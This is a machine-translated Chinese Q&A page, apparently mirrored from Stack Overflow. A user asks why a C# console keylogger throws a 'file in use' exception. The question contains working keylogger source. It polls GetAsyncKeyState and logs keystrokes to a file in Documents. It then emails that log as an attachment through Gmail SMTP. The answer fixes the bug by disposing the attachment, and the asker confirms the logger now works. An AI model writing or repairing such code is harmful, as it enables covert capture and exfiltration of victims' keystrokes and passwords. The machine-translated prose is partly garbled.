键盘记录程序处理使用相同的目录,并抛出异常,并指导帮助
问题描述:
创建控制台键盘记录,但有一个问题:
线using (StreamWriter sw = File.AppendText(path))
给了一个错误键盘记录程序处理使用相同的目录,并抛出异常,并指导帮助
Additional information: The process cannot access the file 'C:\Users\D.A\Documents\LogsFolder\LoggedKeys.txt' because it is being used by another process.
在LogKeys();
方法 (第一次写在这里遗憾mistakesin问题)
图书馆使用:
using System.IO;
using System.Threading;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Net.Mail;
我的代码:
static void Main(string[] args)
{
Path();
SendMail();
LogKeys();
}
Mathow它给出了一个错误:
static void LogKeys()
{
String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
filepath = filepath + @"\LogsFolder\";
KeysConverter converter = new KeysConverter();
string text = "";
string path = (@filepath + "LoggedKeys.txt");
while (true)
{
Thread.Sleep(5);
for (Int32 i = 0; i < 2000; i++)
{
int key = GetAsyncKeyState(i);
if (key == 1 || key == -32767)
{
text = converter.ConvertToString(i);
using (StreamWriter sw = File.AppendText(path))
{
sw.WriteLine(text);
}
break;
}
}
}
}
方法创建的路径和文件,如果它doesent存在
static void Path()
{
String filepath =
Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
filepath = filepath + @"\LogsFolder\";
if (!Directory.Exists(filepath))
{
Directory.CreateDirectory(filepath);
}
string path = (@filepath + "LoggedKeys.txt");
if (!File.Exists(path))
{
using (StreamWriter sw = File.CreateText(path))
{
}
}
}
Methot其发送电子邮件
static void SendMail()
{
String Newfilepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
string Newfilepath2 = Newfilepath + @"\LogsFolder\LoggedKeys.txt";
DateTime dateTime = DateTime.Now;
string subtext = "Loggedfiles";
subtext += dateTime;
SmtpClient client = new SmtpClient("smtp.gmail.com", 587);
MailMessage LOGMESSAGE = new MailMessage();
LOGMESSAGE.From = new MailAddress("[email protected]");
LOGMESSAGE.To.Add("[email protected]");
LOGMESSAGE.Subject = subtext;
client.UseDefaultCredentials = false;
client.EnableSsl = true;
client.Credentials = new System.Net.NetworkCredential("[email protected]", "password");
System.Threading.Thread.Sleep(2);
LOGMESSAGE.Attachments.Add(new Attachment(Newfilepath2));
LOGMESSAGE.Body = subtext;
client.Send(LOGMESSAGE);
LOGMESSAGE = null;
}
答
在SendMail
方法使用文件C:\用户\ D.A \文件\ LogsFolder \ LoggedKeys.txt作为电子邮件的附件不设置Attachment
对象。因此,文件保持打开状态,当您尝试在LogKeys
方法中再次访问文件时,无法打开文件(除非指定了共享,否则文件一次只能打开一次)。
妥善处理所有对象using
应关闭文件并解决您的问题:
static void SendMail()
{
String Newfilepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
string Newfilepath2 = Newfilepath + @"\LogsFolder\LoggedKeys.txt";
DateTime dateTime = DateTime.Now;
string subtext = "Loggedfiles";
subtext += dateTime;
using (SmtpClient client = new SmtpClient("smtp.gmail.com", 587))
{
MailMessage LOGMESSAGE = new MailMessage();
LOGMESSAGE.From = new MailAddress("[email protected]");
LOGMESSAGE.To.Add("[email protected]");
LOGMESSAGE.Subject = subtext;
client.UseDefaultCredentials = false;
client.EnableSsl = true;
client.Credentials = new System.Net.NetworkCredential("[email protected]", "password");
System.Threading.Thread.Sleep(2);
using (var attachment = new Attachment(Newfilepath2))
{
LOGMESSAGE.Attachments.Add(attachment);
LOGMESSAGE.Body = subtext;
client.Send(LOGMESSAGE);
}
}
}
+0
非常感谢,它工作! – Daniel
'如果(20 == 20),而(5> 1)'???在提问前请删除无意义的代码。没有人想要解密这些东西来理解你的代码。请写一个[MCVE] –